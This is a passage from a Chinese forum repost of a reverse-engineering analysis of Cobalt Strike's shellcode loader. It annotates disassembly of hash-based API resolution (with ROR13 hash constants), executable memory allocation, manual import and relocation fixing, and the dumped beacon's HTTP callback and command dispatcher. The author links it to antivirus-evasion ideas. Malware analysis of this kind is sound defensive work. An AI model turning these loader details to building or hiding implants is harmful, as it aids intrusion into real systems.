  12. 02478016  | 8945 F4           | mov dword ptr ss:[ebp-C],eax       |
  13.     //获取导出表的描述符VA --> [ebp-20]
  14. 02478019  | 8B4D F4           | mov ecx,dword ptr ss:[ebp-C]       |
  15. 0247801C  | 8B55 E8           | mov edx,dword ptr ss:[ebp-18]      |
  16. 0247801F  | 0311              | add edx,dword ptr ds:[ecx]         |
  17. 02478021  | 8955 E0           | mov dword ptr ss:[ebp-20],edx      |
  18.     //获取导出名称表VA --> [ebp-c]
  19. 02478024  | 8B45 E0           | mov eax,dword ptr ss:[ebp-20]      |
  20. 02478027  | 8B4D E8           | mov ecx,dword ptr ss:[ebp-18]      |
  21. 0247802A  | 0348 20           | add ecx,dword ptr ds:[eax+20]      |
  22. 0247802D  | 894D F4           | mov dword ptr ss:[ebp-C],ecx       |
  23.     //获取导出序号表VA --> [ebp-1c]
  24. 02478030  | 8B55 E0           | mov edx,dword ptr ss:[ebp-20]      |
  25. 02478033  | 8B45 E8           | mov eax,dword ptr ss:[ebp-18]      |
  26. 02478036  | 0342 24           | add eax,dword ptr ds:[edx+24]      |
  27. 02478039  | 8945 E4           | mov dword ptr ss:[ebp-1C],eax      |

  28. //设定结束标志,可见有6个api需要找到-->[ebp-28]
  29. 0247803C  | B9 06000000       | mov ecx,6                          |
  30. 02478041  | 66:894D D8        | mov word ptr ss:[ebp-28],cx        |
  31. 02478045  | 0FB755 D8         | movzx edx,word ptr ss:[ebp-28]     |
  32. 02478049  | 85D2              | test edx,edx                       |
  33. 0247804B  | 0F8E 4B010000     | jle 247819C                        |
  34.     //取出函数名称的地址 -->[ebp-38]
  35. 02478051  | 8B45 F4           | mov eax,dword ptr ss:[ebp-C]       |
  36. 02478054  | 8B4D E8           | mov ecx,dword ptr ss:[ebp-18]      |
  37. 02478057  | 0308              | add ecx,dword ptr ds:[eax]         |
  38. 02478059  | 894D C8           | mov dword ptr ss:[ebp-38],ecx      |
  39.     //设定累加的值--> [ebp-34] 循环右移0xd
  40. 0247805C  | C745 CC 00000000  | mov dword ptr ss:[ebp-34],0        |
  41. 02478063  | 8B55 CC           | mov edx,dword ptr ss:[ebp-34]      |
  42. 02478066  | C1CA 0D           | ror edx,D                          |
  43. 02478069  | 8955 CC           | mov dword ptr ss:[ebp-34],edx      |
  44.     //取函数名称的一个字符累加
  45. 0247806C  | 8B45 C8           | mov eax,dword ptr ss:[ebp-38]      |
  46. 0247806F  | 0FBE08            | movsx ecx,byte ptr ds:[eax]        |
  47. 02478072  | 034D CC           | add ecx,dword ptr ss:[ebp-34]      |
  48. 02478075  | 894D CC           | mov dword ptr ss:[ebp-34],ecx      |
  49.     //函数名称的地址后移1个字节
  50. 02478078  | 8B55 C8           | mov edx,dword ptr ss:[ebp-38]      |
  51. 0247807B  | 83C2 01           | add edx,1                          |
  52. 0247807E  | 8955 C8           | mov dword ptr ss:[ebp-38],edx      |
  53.     //判断后移后的字节是否为0,即字符串截止位置
  54. 02478081  | 8B45 C8           | mov eax,dword ptr ss:[ebp-38]      |
  55. 02478084  | 0FBE08            | movsx ecx,byte ptr ds:[eax]        |
  56. 02478087  | 85C9              | test ecx,ecx                       |
  57. 02478089  | 75 D8             | jne 2478063                        |
复制代码
后面就是分别跟不同的特征码进行比较,由上文了解,共计六个函数,所以就有六个特征码进行比较,分别对应的函数如下:
  1. //ecx=<kernel32.LoadLibraryA>
  2. cmp dword ptr ss:[ebp-10],EC0E4E8E
  3. je 24780CB

  4. //ecx=<kernel32.GetProcAddress>
  5. cmp dword ptr ss:[ebp-10],7C0DFCAA
  6. je 24780CB

  7. //ecx=<kernel32.VirtualAlloc>
  8. cmp dword ptr ss:[ebp-10],91AFCA54
  9. je 24780CB

  10. //ecx=<kernel32.VirtualProtect>
  11. cmp dword ptr ss:[ebp-10],7946C61B
  12. je 24780CB

  13. //ecx=<kernel32.LoadLibraryExA>
  14. cmp dword ptr ss:[ebp-10],753A4FC
  15. je 24780CB

  16. //ecx=<kernel32.GetModuleHandleA>
  17. cmp dword ptr ss:[ebp-10],D3324904
复制代码
2.4验证函数和分配内存
接下来就进入下一个call了,这个call传入了保存那六个api的其实地址。
编辑
然后依次,检查这几个位置是否是空的,也就是检查这几个函数的地址是否顺利得到
编辑
在进入下一个call前,做了一些准备工作,如图,获取pe文件的起始位置,以及NT头的位置
编辑
其中,这一步的目的是判断,文件头成员,文件属性的最高位是否为1
编辑
然后传入四个参数,进入call中
  1. //参数1,0x40
  2. 02497D71  | 8B4D D0           | mov ecx,dword ptr ss:[ebp-30]   |
  3. 02497D74  | 51                | push ecx                        |
  4.     //参数2,pe文件基址
  5. 02497D75  | 8B55 AC           | mov edx,dword ptr ss:[ebp-54]   |
  6. 02497D78  | 52                | push edx                        |
  7.     //参数3,nt头
  8. 02497D79  | 8B45 CC           | mov eax,dword ptr ss:[ebp-34]   | [ebp-34]:"PE"
  9. 02497D7C  | 50                | push eax                        | eax:"PE"
  10.     //参数4,ecx=<&GetModuleHandleA>基址
  11. 02497D7D  | 8D4D D4           | lea ecx,dword ptr ss:[ebp-2C]   |
  12. 02497D80  | 51                | push ecx                        |
  13. 02497D81  | E8 880A0000       | call 249880E                    |
复制代码
进入call之后,经过了一些无关紧要的判断(其实重要,但是对于了解整体的执行脉络没意义)
第一次调用api,VirtualAlloc() 分配内存
  1. //倒数第一个参数0x40
  2. 023C88D1  | 52                | push edx                        |
  3.     //倒数第二个参数0x3000
  4. 023C88D2  | 68 00300000       | push 3000                       |
  5.     //倒数第三个参数 0x3e000
  6. 023C88D7  | 8B45 0C           | mov eax,dword ptr ss:[ebp+C]    | [ebp+C]:"PE"
  7. 023C88DA  | 8B48 50           | mov ecx,dword ptr ds:[eax+50]   |
  8. 023C88DD  | 51                | push ecx                        |
  9.     //倒数第四个参数 0
  10. 023C88DE  | 6A 00             | push 0                          |
  11. 023C88E0  | 8B55 08           | mov edx,dword ptr ss:[ebp+8]    |
  12. 023C88E3  | 8B42 10           | mov eax,dword ptr ds:[edx+10]   | eax:"PE"
  13. 023C88E6  | FFD0              | call eax                        |;

  14. //代码类似于如下
  15. VirtualAlloc(NULL, 0x3e000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
复制代码
2.5清空内存,复制内存
然后返回,先做准备工作然后进入下一个call
准备工作就是清零,把al里的值放置到edi的位置,每次ecx递减,直至为0
编辑
然后传入四个参数分别是,0,dos头地址,nt头地址,以及新区域基址
编辑
进入call后,首先获取PE文件所有头部的大小 --> [ebp - 0x4]
编辑
重复复制esi指向的地址到edi指向的地址,一次一个字节,共计复制ecx个字节
也就是把原PE文件的头部,复制到目标内存中
编辑
判断PE文件的文件属性,第一位是否为1,也就是是否有重定位信息
编辑
2.6复制区段
如图所示,进入前,先传入了五个参数
编辑
然后就是找到第一个区段头的一些信息,区段头的首地址,区段的数量,以此推测,后面应该是复制区段
编辑
跟前面一样,是依次复制旧PE文件的区段,到新PE文件中去
编辑
注意,后面跟0x20000000求与运算,判断区段是否可执行,如果是可执行的区段,就把分别把新旧区段的地址保存到我们传入的两个地址中,然后依次复制.rdata,.data,.reloc区段的内容到新内存中
编辑
2.7修复文件
接下来进入的几个api,应该都跟修复这个pe文件有关系,因为原本封装的时候,肯定是直接以文件包在里面的,所以,要想直接加载到内存里,必须要做很多修复工作
编辑
首先进入下一个api,传入的参数如下:
刚刚进入这个函数,就在新内存区域的末尾,开辟了大约40个字节,一看就是要搞事情
编辑
2.7.1修复导入表
在可选PE头中,前文提过数据目录的第一个结构,导出表,而第二个结构就是导入表,导入表是一个数组套数组的结构,数据目录里保存着第一个
导入模块的描述符地址,结构体名称:_IMAGE_IMPORT_DESCRIPTOR,获取到了模块名称
  1. struct _IMAGE_IMPORT_DESCRIPTOR {
  2.     union {
  3.         DWORD   Characteristics;
  4.         DWORD   OriginalFirstThunk;         
  5.     } DUMMYUNIONNAME;
  6.     DWORD   TimeDateStamp;
  7.     DWORD   ForwarderChain;         
  8.     DWORD   Name;//导入模块名的RVA
  9.     DWORD   FirstThunk;              
  10. } IMAGE_IMPORT_DESCRIPTOR;
复制代码
把导入模块描述符中的名字,依次复制到上文开辟的那段0x40的空间中,然后进入下一个call中
传入了三个参数,0x40,0,复制出来的模块名字符串的地址,进去之后啥也没敢,只是简单跳两下就回来了。应该是判断传入的最后一个参数是否为0
编辑
然后调用LoadLibraryA函数,加载模块
编辑
然后导入名称表或者导入地址表都会指向这个结构,_IMAGE_THUNK_DATA
因为是联合体,如果是在未加载内存的情况下,两个地址也就是OriginalFirstThunk和FirstThunk指向的都是相同的表(也就是连续的数组),里面存放的都是函数名称
如果加载到内存,FirstThunk指向地址,称IAT表,OriginalFirstThunk指向名称,称INT
地址表,那么结构中的Function就是地址,指向名称,AddressOfData就是名称结构体的地址,具体如下:
  1. struct _IMAGE_THUNK_DATA{
  2.     union {
  3.        DWORD ForwarderString;
  4.        DWORD Function; //被输入的函数的内存地址
  5.        DWORD Ordinal; //高位为1则被输入的API的序数值
  6.        DWORD AddressOfData;//高位为0则指向IMAGE_IMPORT_BY_NAME 结构体二
  7.     }u1;
  8. }IMAGE_THUNK_DATA;
  9. //IMAGE_THUNK_DATA64与IMAGE_THUNK_DATA32的区别,仅仅是把DWORD换成了64位整数。

  10. struct _IMAGE_IMPORT_BY_NAME {
  11.     WORD    Hint;//指出函数在所在的dll的输出表中的序号        
  12.     BYTE    Name[1];//指出要输入的函数的函数名
  13. } IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;
复制代码
从图中可以看出,获取了_IMAGE_THUNK_DATA的地址,然后分别保存里面两个重要的地址,一个是导入地址表,一个是导入名称表
编辑
然后根据导入地址表的地址,取其第一个成员的值,判断,如果首位为1,就是按照序号导入,首位如果为0,那么该地址就是存有名称的一个结构体,即上文的_IMAGE_IMPORT_BY_NAME
编辑
可以看到,KERNEL32.DLL是按照名称导入的,接着又一次进行了复制,把名称复制到了之前在文件尾部空的一块空间里。
编辑
最后通过GetProcAdress函数,(参数为模块基址和函数名)获取函数地址
然后存入到导入地址表对应的结构中,也就是_IMAGE_THUNK_DATA 的Function,至此这样一个函数就修复完毕
然后就是一顿循环
编辑
    然后循环每个模块,依次修复导入表,然后返回
编辑
2.7.2修复重定位表
进来就先经过一个跳来跳去又回来的call(跟刚刚一样对于理解整体脉络没啥意义的)
然后就进入了这个call,而刚进来这段就很敏感了,了解PE文件的童鞋肯定知道。之所以产生重定位的原因是因为,基址的随机化。
也就是说,当把PE文件直接加载到内存的时候,因为ImageBase更改了,所以,代码段中的很多偏移变调了,原本是相对于在文件里写死的Imagebase的,但是它变了,操作系统会自动帮助你修改这些偏移,而之所以会自动帮助你修改,是因为有重定位表。那么现在就要手动(代码)修改了
所以第一步先获取到imagebase的差值,以及重定位表的位置
编辑
关于重定位表,结构如下,这个表是个分成可变长度的块,每块的结构如下
第一个DWORD:基础地址
第二个DWORD:表大小
第三部分开始,每个WORD保存一个小地址
基础地址+小地址,构成了RVA ---> RVA + 模块基址 ----> VA
注意:这个VA指向的是偏移,也就是要更改的偏移,所以,找到这个偏移值,还有根据基址的变化,更改其值,才算是修复完成
编辑
补充一句:这些偏移值,就是那些call,jmp等指令跳来跳去用到的偏移。
然后做一些基础判断,数据目录中的重定位表的RVA和大小是否为0
然后就进入了关键环节
  1. //[ebp-0x4] ---> 保存的是第一个重定位表的VA
  2. 024F8471  | 8B4D FC           | mov ecx,dword ptr ss:[ebp-4]      |
  3.     //[ebp+0x8] ---> 保存的是新区域的基址
  4. 024F8474  | 8B55 08           | mov edx,dword ptr ss:[ebp+8]      |
  5.     //取当前重定位表里的大地址累加到模块基址上
  6. 024F8477  | 0311              | add edx,dword ptr ds:[ecx]        |
  7. 024F8479  | 8955 F4           | mov dword ptr ss:[ebp-C],edx      |
  8.     //取当前重定位表的块大小,减8 再除以2
  9.     //得到的就是当前表共计多少个小项(也就是偏移值的个数)
  10.     //保存在[ebp-0x10]
  11. 024F847C  | 8B45 FC           | mov eax,dword ptr ss:[ebp-4]      |
  12. 024F847F  | 8B48 04           | mov ecx,dword ptr ds:[eax+4]      |
  13. 024F8482  | 83E9 08           | sub ecx,8                         |
  14. 024F8485  | D1E9              | shr ecx,1                         |
  15. 024F8487  | 894D F0           | mov dword ptr ss:[ebp-10],ecx     |
  16.     //获取首个小地址的位置--> [ebp-8]
  17. 024F848A  | 8B55 FC           | mov edx,dword ptr ss:[ebp-4]      |
  18. 024F848D  | 83C2 08           | add edx,8                         |
  19. 024F8490  | 8955 F8           | mov dword ptr ss:[ebp-8],edx      |
  20.     //取出块个数,减一,接下来进入循环
  21. 024F8493  | 8B45 F0           | mov eax,dword ptr ss:[ebp-10]     |
  22. 024F8496  | 8B4D F0           | mov ecx,dword ptr ss:[ebp-10]     |
  23. 024F8499  | 83E9 01           | sub ecx,1                         |
  24. 024F849C  | 894D F0           | mov dword ptr ss:[ebp-10],ecx     |
  25. 024F849F  | 85C0              | test eax,eax                      |
复制代码
对于重定位表中,每个小项的值是有约定的,两个字节共计16位,当高四位为0x3,也就是0011的时候,该值对应的才是实际地址。
后面的代码如下:
  1. //取出小项然后右移0xc,也就是只剩下最高4位,然后跟F求与运算
  2.     //然后把ax移动到ecx,跟3比较
  3. 024F84A7  | 8B55 F8           | mov edx,dword ptr ss:[ebp-8]      |
  4. 024F84AA  | 66:8B02           | mov ax,word ptr ds:[edx]          |
  5. 024F84AD  | 66:C1E8 0C        | shr ax,C                          |
  6. 024F84B1  | 66:83E0 0F        | and ax,F                          |
  7. 024F84B5  | 0FB7C8            | movzx ecx,ax                      |
  8. 024F84B8  | 83F9 0A           | cmp ecx,A                         | A:'\n'

  9. 024F84ED  | 8B45 F8           | mov eax,dword ptr ss:[ebp-8]      |
  10. 024F84F0  | 66:8B08           | mov cx,word ptr ds:[eax]          |
  11. 024F84F3  | 66:C1E9 0C        | shr cx,C                          |
  12. 024F84F7  | 66:83E1 0F        | and cx,F                          |
  13. 024F84FB  | 0FB7D1            | movzx edx,cx                      |
  14. 024F84FE  | 83FA 03           | cmp edx,3                         |
复制代码
满足高四位为0x3,后12位就是小项对应地址值
然后就是根据偏移值和相对模块基址修改偏移:
简单理解公式就是:
旧地址 - 旧基址 == 新地址 - 新基址
新地址 = 旧地址 - 旧基址 + 新基址

其中,新基址 - 旧基址,就是我们前文求得并保存的
而通过重定位表找到的位置里就是旧地址,那么新地址自然轻松得到
  1. //取出小项中的后12位
  2. 024F8503  | B8 FF0F0000       | mov eax,FFF                       |
  3. 024F8508  | 8B4D F8           | mov ecx,dword ptr ss:[ebp-8]      |
  4. 024F850B  | 66:2301           | and ax,word ptr ds:[ecx]          |
  5. 024F850E  | 0FB7D0            | movzx edx,ax                      |
  6.     //取出需要修改的偏移值
  7. 024F8511  | 8B45 F4           | mov eax,dword ptr ss:[ebp-C]      |
  8. 024F8514  | 8B0C10            | mov ecx,dword ptr ds:[eax+edx]    |
  9.     //跟差值累加得到新的地址
  10. 024F8517  | 034D EC           | add ecx,dword ptr ss:[ebp-14]     |
  11.     //修改对应位置为新的地址
  12. 024F851A  | BA FF0F0000       | mov edx,FFF                       |
  13. 024F851F  | 8B45 F8           | mov eax,dword ptr ss:[ebp-8]      |
  14. 024F8522  | 66:2310           | and dx,word ptr ds:[eax]          |
  15. 024F8525  | 0FB7D2            | movzx edx,dx                      |
  16. 024F8528  | 8B45 F4           | mov eax,dword ptr ss:[ebp-C]      |
  17. 024F852B  | 890C10            | mov dword ptr ds:[eax+edx],ecx    |
复制代码
接着又是一顿大循环,各种修改。
至此,重定位表修改完成。
2.8收尾
接着进入最后的收尾工作,先把之前保存在堆栈里的几个api的地址清空掉,也就是最开始莫名分配了好多空间的位置
编辑
找到原PE文件的入口点,在可选PE头的0x10位置,也就是OEP,并修改该新区域入口位置
编辑
最后传入三个参数,直接进入完全加载 到内存的pe文件中,开始执行。
编辑
3.收尾和总结3.1关于第三段文件
当进入第三段文件执行的时候,就算是真正开始了远控文件的旅行,不过那是另一段旅程了,就不在这篇文章里写了(必经本篇篇幅已经好多)
但是,还是还是简单的把那个文件的一些分析写在下面。
考虑到已经进入一个远控软件的核心功能部分,按照我的想法,为了方便,还是把内存dump下来,通过静态和动态结合的方式来。因此,祭出Scylla。
编辑
首先运行到新内存区域入口处
编辑
然后点转储内存
编辑
选择所处模块的区域,转储PE,因为该修复的都修复了,所以直接转pe文件,也不同修复转储了。(后面的.mem文件要不要都无所谓了)
编辑
注意,这是一个DLL文件,所以保存为dll后缀(其实无妨,因为是为了静态分析)
通过下图判断是否为DLL文件
编辑
从微软官方文档对IMAGE_FILE_HEADER中成员Characteristics的描述,这1位表示的是否为dll文件
编辑
保存这个文件后,拖入IDA来看一下这个文件有哪些内容
因为逆起来太耗时间(其实是我能力还不够~),所以直接F5了,可以看到,映入眼帘的就是dll文件的入口函数。
编辑
fdwReason==1是进程启动的时候,也就是loadlibrary这个dll文件的时候,推测是做一些初始化的部分。就不进入看了
我们进入下面的sub_234131B()函数
这个函数是主要的执行函数,大概包括,定时,封包,发包,以及执行任务
这部分是准备内容,打开能看到一些缓冲区分配,处理数据包等
编辑
然后下面进入循环,处理数据包并执行任务
编辑
其中sub_2341F64()sub_234257f()函数是设定http请求,以及发送http消息,应该是做服务端的回连,以及获取指令的。如图所示:
编辑
然后结果传入sub_2348393()函数,循环调用函数sub_2347E9E(),执行指令
编辑
sub_2347E9E()这个函数是一个分派函数,不同指令分派给不同的函数执行,这应该就是远控的中枢部分,共计100多个case,可见cs的强大。
编辑
3.2小结
至此CS的上线之旅就结束了,其实cs的shellcode也是非常经典了。
从shellcode加载:
编辑
到最终远控文件加入内存并执行:
编辑
通过一路分析过来,可以看到,其中包含了PE,winAPI,加解密等零碎的知识(对于初入逆向的我来说,确实相当吃力<累瘫>),想必通过这部分细节的了解,后面对于免杀的思路也会有更多尝试的点。
因为整篇内容不少,难免会有一些小错误,还请各位师傅不吝赐,多指教。感谢~~
文章来源于:https://xz.aliyun.com/t/11508
若有侵权请联系删除

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 04:51 , Processed in 0.022065 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表